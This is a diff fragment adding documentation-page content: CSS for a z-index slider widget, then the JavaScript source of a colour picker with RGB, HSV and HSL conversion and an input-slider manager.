+ top: -10000px;
+ left: 0;
+ color: #777;
+ float: left;
+ transition: opacity 1s;
+}
+
+#zindex input {
+ border: 1px solid #DDD;
+ font-size: 16px;
+ color: #777;
+}
+
+#zindex .ui-input-slider-info {
+ width: 60px;
+}
+
+#zindex[data-active='true'] {
+ top: 0;
+ opacity: 1;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+ function getElemById(id) {
+ return document.getElementById(id);
+ }
+
+ var subscribers = [];
+ var pickers = [];
+
+ /**
+ * RGBA Color class
+ *
+ * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+ * @param hue 0-360
+ * @param saturation 0-100
+ * @param value 0-100
+ * @param lightness 0-100
+ */
+
+ function Color(color) {
+
+ if(color instanceof Color === true) {
+ this.copy(color);
+ return;
+ }
+
+ this.r = 0;
+ this.g = 0;
+ this.b = 0;
+ this.a = 1;
+ this.hue = 0;
+ this.saturation = 0;
+ this.value = 0;
+ this.lightness = 0;
+ this.format = 'HSV';
+ }
+
+ function RGBColor(r, g, b) {
+ var color = new Color();
+ color.setRGBA(r, g, b, 1);
+ return color;
+ }
+
+ function RGBAColor(r, g, b, a) {
+ var color = new Color();
+ color.setRGBA(r, g, b, a);
+ return color;
+ }
+
+ function HSVColor(h, s, v) {
+ var color = new Color();
+ color.setHSV(h, s, v);
+ return color;
+ }
+
+ function HSVAColor(h, s, v, a) {
+ var color = new Color();
+ color.setHSV(h, s, v);
+ color.a = a;
+ return color;
+ }
+
+ function HSLColor(h, s, l) {
+ var color = new Color();
+ color.setHSL(h, s, l);
+ return color;
+ }
+
+ function HSLAColor(h, s, l, a) {
+ var color = new Color();
+ color.setHSL(h, s, l);
+ color.a = a;
+ return color;
+ }
+
+ Color.prototype.copy = function copy(obj) {
+ if(obj instanceof Color !== true) {
+ console.log('Typeof parameter not Color');
+ return;
+ }
+
+ this.r = obj.r;
+ this.g = obj.g;
+ this.b = obj.b;
+ this.a = obj.a;
+ this.hue = obj.hue;
+ this.saturation = obj.saturation;
+ this.value = obj.value;
+ this.format = '' + obj.format;
+ this.lightness = obj.lightness;
+ };
+
+ Color.prototype.setFormat = function setFormat(format) {
+ if (format === 'HSV')
+ this.format = 'HSV';
+ if (format === 'HSL')
+ this.format = 'HSL';
+ };
+
+ /*========== Methods to set Color Properties ==========*/
+
+ Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+ return (typeof(value) === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+ value &gt;= 0 &amp;&amp; value &lt;= 255);
+ };
+
+ Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+ if (this.isValidRGBValue(red) === false ||
+ this.isValidRGBValue(green) === false ||
+ this.isValidRGBValue(blue) === false)
+ return;
+
+ this.r = red | 0;
+ this.g = green | 0;
+ this.b = blue | 0;
+
+ if (this.isValidRGBValue(alpha) === true)
+ this.a = alpha | 0;
+ };
+
+ Color.prototype.setByName = function setByName(name, value) {
+ if (name === 'r' || name === 'g' || name === 'b') {
+ if(this.isValidRGBValue(value) === false)
+ return;
+
+ this[name] = value;
+ this.updateHSX();
+ }
+ };
+
+ Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+ this.hue = hue;
+ this.saturation = saturation;
+ this.value = value;
+ this.HSVtoRGB();
+ };
+
+ Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+ this.hue = hue;
+ this.saturation = saturation;
+ this.lightness = lightness;
+ this.HSLtoRGB();
+ };
+
+ Color.prototype.setHue = function setHue(value) {
+ if (typeof(value) !== 'number' || isNaN(value) === true ||
+ value &lt; 0 || value &gt; 359)
+ return;
+ this.hue = value;
+ this.updateRGB();
+ };
+
+ Color.prototype.setSaturation = function setSaturation(value) {
+ if (typeof(value) !== 'number' || isNaN(value) === true ||
+ value &lt; 0 || value &gt; 100)
+ return;
+ this.saturation = value;
+ this.updateRGB();
+ };
+
+ Color.prototype.setValue = function setValue(value) {
+ if (typeof(value) !== 'number' || isNaN(value) === true ||
+ value &lt; 0 || value &gt; 100)
+ return;
+ this.value = value;
+ this.HSVtoRGB();
+ };
+
+ Color.prototype.setLightness = function setLightness(value) {
+ if (typeof(value) !== 'number' || isNaN(value) === true ||
+ value &lt; 0 || value &gt; 100)
+ return;
+ this.lightness = value;
+ this.HSLtoRGB();
+ };
+
+ Color.prototype.setHexa = function setHexa(value) {
+ var valid = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+ if (valid !== true)
+ return;
+
+ if (value[0] === '#')
+ value = value.slice(1, value.length);
+
+ if (value.length === 3)
+ value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+ this.r = parseInt(value.substr(0, 2), 16);
+ this.g = parseInt(value.substr(2, 2), 16);
+ this.b = parseInt(value.substr(4, 2), 16);
+
+ this.alpha = 1;
+ this.RGBtoHSV();
+ };
+
+ /*========== Conversion Methods ==========*/
+
+ Color.prototype.convertToHSL = function convertToHSL() {
+ if (this.format === 'HSL')
+ return;
+
+ this.setFormat('HSL');
+ this.RGBtoHSL();
+ };
+
+ Color.prototype.convertToHSV = function convertToHSV() {
+ if (this.format === 'HSV')
+ return;
+
+ this.setFormat('HSV');
+ this.RGBtoHSV();
+ };
+
+ /*========== Update Methods ==========*/
+
+ Color.prototype.updateRGB = function updateRGB() {
+ if (this.format === 'HSV') {
+ this.HSVtoRGB();
+ return;
+ }
+
+ if (this.format === 'HSL') {
+ this.HSLtoRGB();
+ return;
+ }
+ };
+
+ Color.prototype.updateHSX = function updateHSX() {
+ if (this.format === 'HSV') {
+ this.RGBtoHSV();
+ return;
+ }
+
+ if (this.format === 'HSL') {
+ this.RGBtoHSL();
+ return;
+ }
+ };
+
+ Color.prototype.HSVtoRGB = function HSVtoRGB() {
+ var sat = this.saturation / 100;
+ var value = this.value / 100;
+ var C = sat * value;
+ var H = this.hue / 60;
+ var X = C * (1 - Math.abs(H % 2 - 1));
+ var m = value - C;
+ var precision = 255;
+
+ C = (C + m) * precision | 0;
+ X = (X + m) * precision | 0;
+ m = m * precision | 0;
+
+ if (H &gt;= 0 &amp;&amp; H &lt; 1) { this.setRGBA(C, X, m); return; }
+ if (H &gt;= 1 &amp;&amp; H &lt; 2) { this.setRGBA(X, C, m); return; }
+ if (H &gt;= 2 &amp;&amp; H &lt; 3) { this.setRGBA(m, C, X); return; }
+ if (H &gt;= 3 &amp;&amp; H &lt; 4) { this.setRGBA(m, X, C); return; }
+ if (H &gt;= 4 &amp;&amp; H &lt; 5) { this.setRGBA(X, m, C); return; }
+ if (H &gt;= 5 &amp;&amp; H &lt; 6) { this.setRGBA(C, m, X); return; }
+ };
+
+ Color.prototype.HSLtoRGB = function HSLtoRGB() {
+ var sat = this.saturation / 100;
+ var light = this.lightness / 100;
+ var C = sat * (1 - Math.abs(2 * light - 1));
+ var H = this.hue / 60;
+ var X = C * (1 - Math.abs(H % 2 - 1));
+ var m = light - C/2;
+ var precision = 255;
+
+ C = (C + m) * precision | 0;
+ X = (X + m) * precision | 0;
+ m = m * precision | 0;
+
+ if (H &gt;= 0 &amp;&amp; H &lt; 1) { this.setRGBA(C, X, m); return; }
+ if (H &gt;= 1 &amp;&amp; H &lt; 2) { this.setRGBA(X, C, m); return; }
+ if (H &gt;= 2 &amp;&amp; H &lt; 3) { this.setRGBA(m, C, X); return; }
+ if (H &gt;= 3 &amp;&amp; H &lt; 4) { this.setRGBA(m, X, C); return; }
+ if (H &gt;= 4 &amp;&amp; H &lt; 5) { this.setRGBA(X, m, C); return; }
+ if (H &gt;= 5 &amp;&amp; H &lt; 6) { this.setRGBA(C, m, X); return; }
+ };
+
+ Color.prototype.RGBtoHSV = function RGBtoHSV() {
+ var red = this.r / 255;
+ var green = this.g / 255;
+ var blue = this.b / 255;
+
+ var cmax = Math.max(red, green, blue);
+ var cmin = Math.min(red, green, blue);
+ var delta = cmax - cmin;
+ var hue = 0;
+ var saturation = 0;
+
+ if (delta) {
+ if (cmax === red ) { hue = ((green - blue) / delta); }
+ if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+ if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+ if (cmax) saturation = delta / cmax;
+ }
+
+ this.hue = 60 * hue | 0;
+ if (this.hue &lt; 0) this.hue += 360;
+ this.saturation = (saturation * 100) | 0;
+ this.value = (cmax * 100) | 0;
+ };
+
+ Color.prototype.RGBtoHSL = function RGBtoHSL() {
+ var red = this.r / 255;
+ var green = this.g / 255;
+ var blue = this.b / 255;
+
+ var cmax = Math.max(red, green, blue);
+ var cmin = Math.min(red, green, blue);
+ var delta = cmax - cmin;
+ var hue = 0;
+ var saturation = 0;
+ var lightness = (cmax + cmin) / 2;
+ var X = (1 - Math.abs(2 * lightness - 1));
+
+ if (delta) {
+ if (cmax === red ) { hue = ((green - blue) / delta); }
+ if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+ if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+ if (cmax) saturation = delta / X;
+ }
+
+ this.hue = 60 * hue | 0;
+ if (this.hue &lt; 0) this.hue += 360;
+ this.saturation = (saturation * 100) | 0;
+ this.lightness = (lightness * 100) | 0;
+ };
+
+ /*========== Get Methods ==========*/
+
+ Color.prototype.getHexa = function getHexa() {
+ var r = this.r.toString(16);
+ var g = this.g.toString(16);
+ var b = this.b.toString(16);
+ if (this.r &lt; 16) r = '0' + r;
+ if (this.g &lt; 16) g = '0' + g;
+ if (this.b &lt; 16) b = '0' + b;
+ var value = '#' + r + g + b;
+ return value.toUpperCase();
+ };
+
+ Color.prototype.getRGBA = function getRGBA() {
+
+ var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+ var a = '';
+ var v = '';
+ var x = parseFloat(this.a);
+ if (x !== 1) {
+ a = 'a';
+ v = ', ' + x;
+ }
+
+ var value = 'rgb' + a + rgb + v + ')';
+ return value;
+ };
+
+ Color.prototype.getHSLA = function getHSLA() {
+ if (this.format === 'HSV') {
+ var color = new Color(this);
+ color.setFormat('HSL');
+ color.updateHSX();
+ return color.getHSLA();
+ }
+
+ var a = '';
+ var v = '';
+ var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+ var x = parseFloat(this.a);
+ if (x !== 1) {
+ a = 'a';
+ v = ', ' + x;
+ }
+
+ var value = 'hsl' + a + hsl + v + ')';
+ return value;
+ };
+
+ Color.prototype.getColor = function getColor() {
+ if (this.a | 0 === 1)
+ return this.getHexa();
+ return this.getRGBA();
+ };
+
+ /*=======================================================================*/
+ /*=======================================================================*/
+
+ /*========== Capture Mouse Movement ==========*/
+
+ var setMouseTracking = function setMouseTracking(elem, callback) {
+ elem.addEventListener('mousedown', function(e) {
+ callback(e);
+ document.addEventListener('mousemove', callback);
+ });
+
+ document.addEventListener('mouseup', function(e) {
+ document.removeEventListener('mousemove', callback);
+ });
+ };
+
+ /*====================*/
+ // Color Picker Class
+ /*====================*/
+
+ function ColorPicker(node) {
+ this.color = new Color();
+ this.node = node;
+ this.subscribers = [];
+
+ var type = this.node.getAttribute('data-mode');
+ var topic = this.node.getAttribute('data-topic');
+
+ this.topic = topic;
+ this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+ this.color.setFormat(this.picker_mode);
+
+ this.createPickingArea();
+ this.createHueArea();
+
+ this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+ this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+ this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+ this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+ this.createAlphaArea();
+
+ this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+ this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+ this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+ this.createPreviewBox();
+ this.createChangeModeButton();
+
+ this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+ this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+ this.setColor(this.color);
+ pickers[topic] = this;
+ }
+
+ /*************************************************************************/
+ // Function for generating the color-picker
+ /*************************************************************************/
+
+ ColorPicker.prototype.createPickingArea = function createPickingArea() {
+ var area = document.createElement('div');
+ var picker = document.createElement('div');
+
+ area.className = 'picking-area';
+ picker.className = 'picker';
+
+ this.picking_area = area;
+ this.color_picker = picker;
+ setMouseTracking(area, this.updateColor.bind(this));
+
+ area.appendChild(picker);
+ this.node.appendChild(area);
+ };
+
+ ColorPicker.prototype.createHueArea = function createHueArea() {
+ var area = document.createElement('div');
+ var picker = document.createElement('div');
+
+ area.className = 'hue';
+ picker.className ='slider-picker';
+
+ this.hue_area = area;
+ this.hue_picker = picker;
+ setMouseTracking(area, this.updateHueSlider.bind(this));
+
+ area.appendChild(picker);
+ this.node.appendChild(area);
+ };
+
+ ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+ var area = document.createElement('div');
+ var mask = document.createElement('div');
+ var picker = document.createElement('div');
+
+ area.className = 'alpha';
+ mask.className = 'alpha-mask';
+ picker.className = 'slider-picker';
+
+ this.alpha_area = area;
+ this.alpha_mask = mask;
+ this.alpha_picker = picker;
+ setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+ area.appendChild(mask);
+ mask.appendChild(picker);
+ this.node.appendChild(area);
+ };
+
+ ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+ var preview_box = document.createElement('div');
+ var preview_color = document.createElement('div');
+
+ preview_box.className = 'preview';
+ preview_color.className = 'preview-color';
+
+ this.preview_color = preview_color;
+
+ preview_box.appendChild(preview_color);
+ this.node.appendChild(preview_box);
+ };
+
+ ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+ var wrapper = document.createElement('div');
+ var input = document.createElement('input');
+ var info = document.createElement('span');
+
+ wrapper.className = 'input';
+ wrapper.setAttribute('data-topic', topic);
+ info.textContent = title;
+ info.className = 'name';
+ input.setAttribute('type', 'text');
+
+ wrapper.appendChild(info);
+ wrapper.appendChild(input);
+ this.node.appendChild(wrapper);
+
+ input.addEventListener('change', onChangeFunc);
+ input.addEventListener('click', function() {
+ this.select();
+ });
+
+ this.subscribe(topic, function(value) {
+ input.value = value;
+ });
+ };
+
+ ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+ var button = document.createElement('div');
+ button.className = 'switch_mode';
+ button.addEventListener('click', function() {
+ if (this.picker_mode === 'HSV')
+ this.setPickerMode('HSL');
+ else
+ this.setPickerMode('HSV');
+
+ }.bind(this));
+
+ this.node.appendChild(button);
+ };
+
+ /*************************************************************************/
+ // Updates properties of UI elements
+ /*************************************************************************/
+
+ ColorPicker.prototype.updateColor = function updateColor(e) {
+ var x = e.pageX - this.picking_area.offsetLeft;
+ var y = e.pageY - this.picking_area.offsetTop;
+ var picker_offset = 5;
+
+ // width and height should be the same
+ var size = this.picking_area.clientWidth;
+
+ if (x &gt; size) x = size;
+ if (y &gt; size) y = size;
+ if (x &lt; 0) x = 0;
+ if (y &lt; 0) y = 0;
+
+ var value = 100 - (y * 100 / size) | 0;
+ var saturation = x * 100 / size | 0;
+
+ if (this.picker_mode === 'HSV')
+ this.color.setHSV(this.color.hue, saturation, value);
+ if (this.picker_mode === 'HSL')
+ this.color.setHSL(this.color.hue, saturation, value);
+
+ this.color_picker.style.left = x - picker_offset + 'px';
+ this.color_picker.style.top = y - picker_offset + 'px';
+
+ this.updateAlphaGradient();
+ this.updatePreviewColor();
+
+ this.notify('value', value);
+ this.notify('lightness', value);
+ this.notify('saturation', saturation);
+
+ this.notify('red', this.color.r);
+ this.notify('green', this.color.g);
+ this.notify('blue', this.color.b);
+ this.notify('hexa', this.color.getHexa());
+
+ notify(this.topic, this.color);
+ };
+
+ ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+ var x = e.pageX - this.hue_area.offsetLeft;
+ var width = this.hue_area.clientWidth;
+
+ if (x &lt; 0) x = 0;
+ if (x &gt; width) x = width;
+
+ // TODO 360 =&gt; 359
+ var hue = ((359 * x) / width) | 0;
+ // if (hue === 360) hue = 359;
+
+ this.updateSliderPosition(this.hue_picker, x);
+ this.setHue(hue);
+ };
+
+ ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+ var x = e.pageX - this.alpha_area.offsetLeft;
+ var width = this.alpha_area.clientWidth;
+
+ if (x &lt; 0) x = 0;
+ if (x &gt; width) x = width;
+
+ this.color.a = (x / width).toFixed(2);
+
+ this.updateSliderPosition(this.alpha_picker, x);
+ this.updatePreviewColor();
+
+ this.notify('alpha', this.color.a);
+ notify(this.topic, this.color);
+ };
+
+ ColorPicker.prototype.setHue = function setHue(value) {
+ this.color.setHue(value);
+
+ this.updatePickerBackground();
+ this.updateAlphaGradient();
+ this.updatePreviewColor();
+
+ this.notify('red', this.color.r);
+ this.notify('green', this.color.g);
+ this.notify('blue', this.color.b);
+ this.notify('hexa', this.color.getHexa());
+ this.notify('hue', this.color.hue);
+
+ notify(this.topic, this.color);
+ };
+
+ // Updates when one of Saturation/Value/Lightness changes
+ ColorPicker.prototype.updateSLV = function updateSLV() {
+ this.updatePickerPosition();
+ this.updateAlphaGradient();
+ this.updatePreviewColor();
+
+ this.notify('red', this.color.r);
+ this.notify('green', this.color.g);
+ this.notify('blue', this.color.b);
+ this.notify('hexa', this.color.getHexa());
+
+ notify(this.topic, this.color);
+ };
+
+ /*************************************************************************/
+ // Update positions of various UI elements
+ /*************************************************************************/
+
+ ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+ var size = this.picking_area.clientWidth;
+ var value = 0;
+ var offset = 5;
+
+ if (this.picker_mode === 'HSV')
+ value = this.color.value;
+ if (this.picker_mode === 'HSL')
+ value = this.color.lightness;
+
+ var x = (this.color.saturation * size / 100) | 0;
+ var y = size - (value * size / 100) | 0;
+
+ this.color_picker.style.left = x - offset + 'px';
+ this.color_picker.style.top = y - offset + 'px';
+ };
+
+ ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+ elem.style.left = Math.max(pos - 3, -2) + 'px';
+ };
+
+ ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+ var size = this.hue_area.clientWidth;
+ var offset = 1;
+ var pos = (this.color.hue * size / 360 ) | 0;
+ this.hue_picker.style.left = pos - offset + 'px';
+ };
+
+ ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+ var size = this.alpha_area.clientWidth;
+ var offset = 1;
+ var pos = (this.color.a * size) | 0;
+ this.alpha_picker.style.left = pos - offset + 'px';
+ };
+
+ /*************************************************************************/
+ // Update background colors
+ /*************************************************************************/
+
+ ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+ var nc = new Color(this.color);
+ nc.setHSV(nc.hue, 100, 100);
+ this.picking_area.style.backgroundColor = nc.getHexa();
+ };
+
+ ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+ this.alpha_mask.style.backgroundColor = this.color.getHexa();
+ };
+
+ ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+ this.preview_color.style.backgroundColor = this.color.getColor();
+ };
+
+ /*************************************************************************/
+ // Update input elements
+ /*************************************************************************/
+
+ ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+ var value = parseInt(e.target.value);
+ this.setHue(value);
+ this.updateHuePicker();
+ };
+
+ ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+ var value = parseInt(e.target.value);
+ this.color.setSaturation(value);
+ e.target.value = this.color.saturation;
+ this.updateSLV();
+ };
+
+ ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+ var value = parseInt(e.target.value);
+ this.color.setValue(value);
+ e.target.value = this.color.value;
+ this.updateSLV();
+ };
+
+ ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+ var value = parseInt(e.target.value);
+ this.color.setLightness(value);
+ e.target.value = this.color.lightness;
+ this.updateSLV();
+ };
+
+ ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+ var value = parseInt(e.target.value);
+ this.color.setByName('r', value);
+ e.target.value = this.color.r;
+ this.setColor(this.color);
+ };
+
+ ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+ var value = parseInt(e.target.value);
+ this.color.setByName('g', value);
+ e.target.value = this.color.g;
+ this.setColor(this.color);
+ };
+
+ ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+ var value = parseInt(e.target.value);
+ this.color.setByName('b', value);
+ e.target.value = this.color.b;
+ this.setColor(this.color);
+ };
+
+ ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+ var value = parseFloat(e.target.value);
+
+ if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+ value &gt;= 0 &amp;&amp; value &lt;= 1)
+ this.color.a = value.toFixed(2);
+
+ e.target.value = this.color.a;
+ this.updateAlphaPicker();
+ };
+
+ ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+ var value = e.target.value;
+ this.color.setHexa(value);
+ this.setColor(this.color);
+ };
+
+ /*************************************************************************/
+ // Internal Pub/Sub
+ /*************************************************************************/
+
+ ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+ this.subscribers[topic] = callback;
+ };
+
+ ColorPicker.prototype.notify = function notify(topic, value) {
+ if (this.subscribers[topic])
+ this.subscribers[topic](value);
+ };
+
+ /*************************************************************************/
+ // Set Picker Properties
+ /*************************************************************************/
+
+ ColorPicker.prototype.setColor = function setColor(color) {
+ if(color instanceof Color !== true) {
+ console.log('Typeof parameter not Color');
+ return;
+ }
+
+ if (color.format !== this.picker_mode) {
+ color.setFormat(this.picker_mode);
+ color.updateHSX();
+ }
+
+ this.color.copy(color);
+ this.updateHuePicker();
+ this.updatePickerPosition();
+ this.updatePickerBackground();
+ this.updateAlphaPicker();
+ this.updateAlphaGradient();
+ this.updatePreviewColor();
+
+ this.notify('red', this.color.r);
+ this.notify('green', this.color.g);
+ this.notify('blue', this.color.b);
+
+ this.notify('hue', this.color.hue);
+ this.notify('saturation', this.color.saturation);
+ this.notify('value', this.color.value);
+ this.notify('lightness', this.color.lightness);
+
+ this.notify('alpha', this.color.a);
+ this.notify('hexa', this.color.getHexa());
+ notify(this.topic, this.color);
+ };
+
+ ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+ if (mode !== 'HSV' &amp;&amp; mode !== 'HSL')
+ return;
+
+ this.picker_mode = mode;
+ this.node.setAttribute('data-mode', this.picker_mode);
+ this.setColor(this.color);
+ };
+
+ /*************************************************************************/
+ // UNUSED
+ /*************************************************************************/
+
+ var setPickerMode = function setPickerMode(topic, mode) {
+ if (pickers[topic])
+ pickers[topic].setPickerMode(mode);
+ };
+
+ var setColor = function setColor(topic, color) {
+ if (pickers[topic])
+ pickers[topic].setColor(color);
+ };
+
+ var getColor = function getColor(topic) {
+ if (pickers[topic])
+ return new Color(pickers[topic].color);
+ };
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+
+ subscribers[topic].push(callback);
+ };
+
+ var unsubscribe = function unsubscribe(callback) {
+ subscribers.indexOf(callback);
+ subscribers.splice(index, 1);
+ };
+
+ var notify = function notify(topic, value) {
+ if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+ return;
+
+ var color = new Color(value);
+ for (var i in subscribers[topic])
+ subscribers[topic][i](color);
+ };
+
+ var init = function init() {
+ var elem = document.querySelectorAll('.ui-color-picker');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new ColorPicker(elem[i]);
+ };
+
+ return {
+ init : init,
+ Color : Color,
+ RGBColor : RGBColor,
+ RGBAColor : RGBAColor,
+ HSVColor : HSVColor,
+ HSVAColor : HSVAColor,
+ HSLColor : HSLColor,
+ HSLAColor : HSLAColor,
+ setColor : setColor,
+ getColor : getColor,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe,
+ setPickerMode : setPickerMode
+ };
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+ var subscribers = {};
+ var sliders = [];
+
+ var InputComponent = function InputComponent(obj) {
+ var input = document.createElement('input');
+ input.setAttribute('type', 'text');
+ input.style.width = 50 + obj.precision * 10 + 'px';
+
+ input.addEventListener('click', function(e) {
+ this.select();
+ });
+
+ input.addEventListener('change', function(e) {
+ var value = parseFloat(e.target.value);
+
+ if (isNaN(value) === true)
+ setValue(obj.topic, obj.value);
+ else
+ setValue(obj.topic, value);
+ });
+
+ return input;
+ };
+
+ var SliderComponent = function SliderComponent(obj, sign) {
+ var slider = document.createElement('div');
+ var startX = null;
+ var start_value = 0;
+
+ slider.addEventListener("click", function(e) {
+ document.removeEventListener("mousemove", sliderMotion);
+ setValue(obj.topic, obj.value + obj.step * sign);
+ });
+
+ slider.addEventListener("mousedown", function(e) {
+ startX = e.clientX;
+ start_value = obj.value;
+ document.body.style.cursor = "e-resize";
+
+ document.addEventListener("mouseup", slideEnd);
+ document.addEventListener("mousemove", sliderMotion);
+ });
+
+ var slideEnd = function slideEnd(e) {
+ document.removeEventListener("mousemove", sliderMotion);
+ document.body.style.cursor = "auto";
+ slider.style.cursor = "pointer";
+ };
+
+ var sliderMotion = function sliderMotion(e) {
+ slider.style.cursor = "e-resize";
+ var delta = (e.clientX - startX) / obj.sensivity | 0;
+ var value = delta * obj.step + start_value;
+ setValue(obj.topic, value);
+ };
+
+ return slider;
+ };
+
+ var InputSlider = function(node) {
+ var min = parseFloat(node.getAttribute('data-min'));
+ var max = parseFloat(node.getAttribute('data-max'));
+ var step = parseFloat(node.getAttribute('data-step'));
+ var value = parseFloat(node.getAttribute('data-value'));
+ var topic = node.getAttribute('data-topic');
+ var unit = node.getAttribute('data-unit');
+ var name = node.getAttribute('data-info');
+ var sensivity = node.getAttribute('data-sensivity') | 0;
+ var precision = node.getAttribute('data-precision') | 0;
+
+ this.min = isNaN(min) ? 0 : min;
+ this.max = isNaN(max) ? 100 : max;
+ this.precision = precision &gt;= 0 ? precision : 0;
+ this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+ this.topic = topic;
+ this.node = node;
+ this.unit = unit === null ? '' : unit;
+ this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+ value = isNaN(value) ? this.min : value;
+
+ var input = new InputComponent(this);
+ var slider_left = new SliderComponent(this, -1);
+ var slider_right = new SliderComponent(this, 1);
+
+ slider_left.className = 'ui-input-slider-left';
+ slider_right.className = 'ui-input-slider-right';
+
+ if (name) {
+ var info = document.createElement('span');
+ info.className = 'ui-input-slider-info';
+ info.textContent = name;
+ node.appendChild(info);
+ }
+
+ node.appendChild(slider_left);
+ node.appendChild(input);
+ node.appendChild(slider_right);
+
+ this.input = input;
+ sliders[topic] = this;
+ setValue(topic, value);
+ };
+
+ InputSlider.prototype.setInputValue = function setInputValue() {
+ this.input.value = this.value.toFixed(this.precision) + this.unit;
+ };
+
+ var setValue = function setValue(topic, value, send_notify) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ value = parseFloat(value.toFixed(slider.precision));
+
+ if (value &gt; slider.max) value = slider.max;
+ if (value &lt; slider.min) value = slider.min;
+
+ slider.value = value;
+ slider.node.setAttribute('data-value', value);
+
+ slider.setInputValue();
+
+ if (send_notify === false)
+ return;
+
+ notify.call(slider);
+ };
+
+ var setMax = function setMax(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.max = value;
+ setValue(topic, slider.value);
+ };
+
+ var setMin = function setMin(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.min = value;
+ setValue(topic, slider.value);
+ };
+
+ var setUnit = function setUnit(topic, unit) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.unit = unit;
+ setValue(topic, slider.value);
+ };
+
+ var setStep = function setStep(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.step = parseFloat(value);
+ setValue(topic, slider.value);
+ };
+
+ var setPrecision = function setPrecision(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ value = value | 0;
+ slider.precision = value;
+
+ var step = parseFloat(slider.step.toFixed(value));
+ if (step === 0)
+ slider.step = 1 / Math.pow(10, value);
+
+ setValue(topic, slider.value);
+ };
+
+ var setSensivity = function setSensivity(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ value = value | 0;
+
+ slider.sensivity = value &gt; 0 ? value : 5;
+ };
+
+ var getNode = function getNode(topic) {
+ return sliders[topic].node;
+ };
+
+ var getPrecision = function getPrecision(topic) {
+ return sliders[topic].precision;
+ };
+
+ var getStep = function getStep(topic) {
+ return sliders[topic].step;
+ };
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+ subscribers[topic].push(callback);
+ };
+
+ var unsubscribe = function unsubscribe(topic, callback) {
+ subscribers[topic].indexOf(callback);
+ subscribers[topic].splice(index, 1);
+ };
+
+ var notify = function notify() {
+ if (subscribers[this.topic] === undefined)
+ return;
+ for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+ subscribers[this.topic][i](this.value);
+ };
+
+ var createSlider = function createSlider(topic, label) {
+ var slider = document.createElement('div');
+ slider.className = 'ui-input-slider';
+ slider.setAttribute('data-topic', topic);
+
+ if (label !== undefined)
+ slider.setAttribute('data-info', label);
+
+ new InputSlider(slider);
+ return slider;
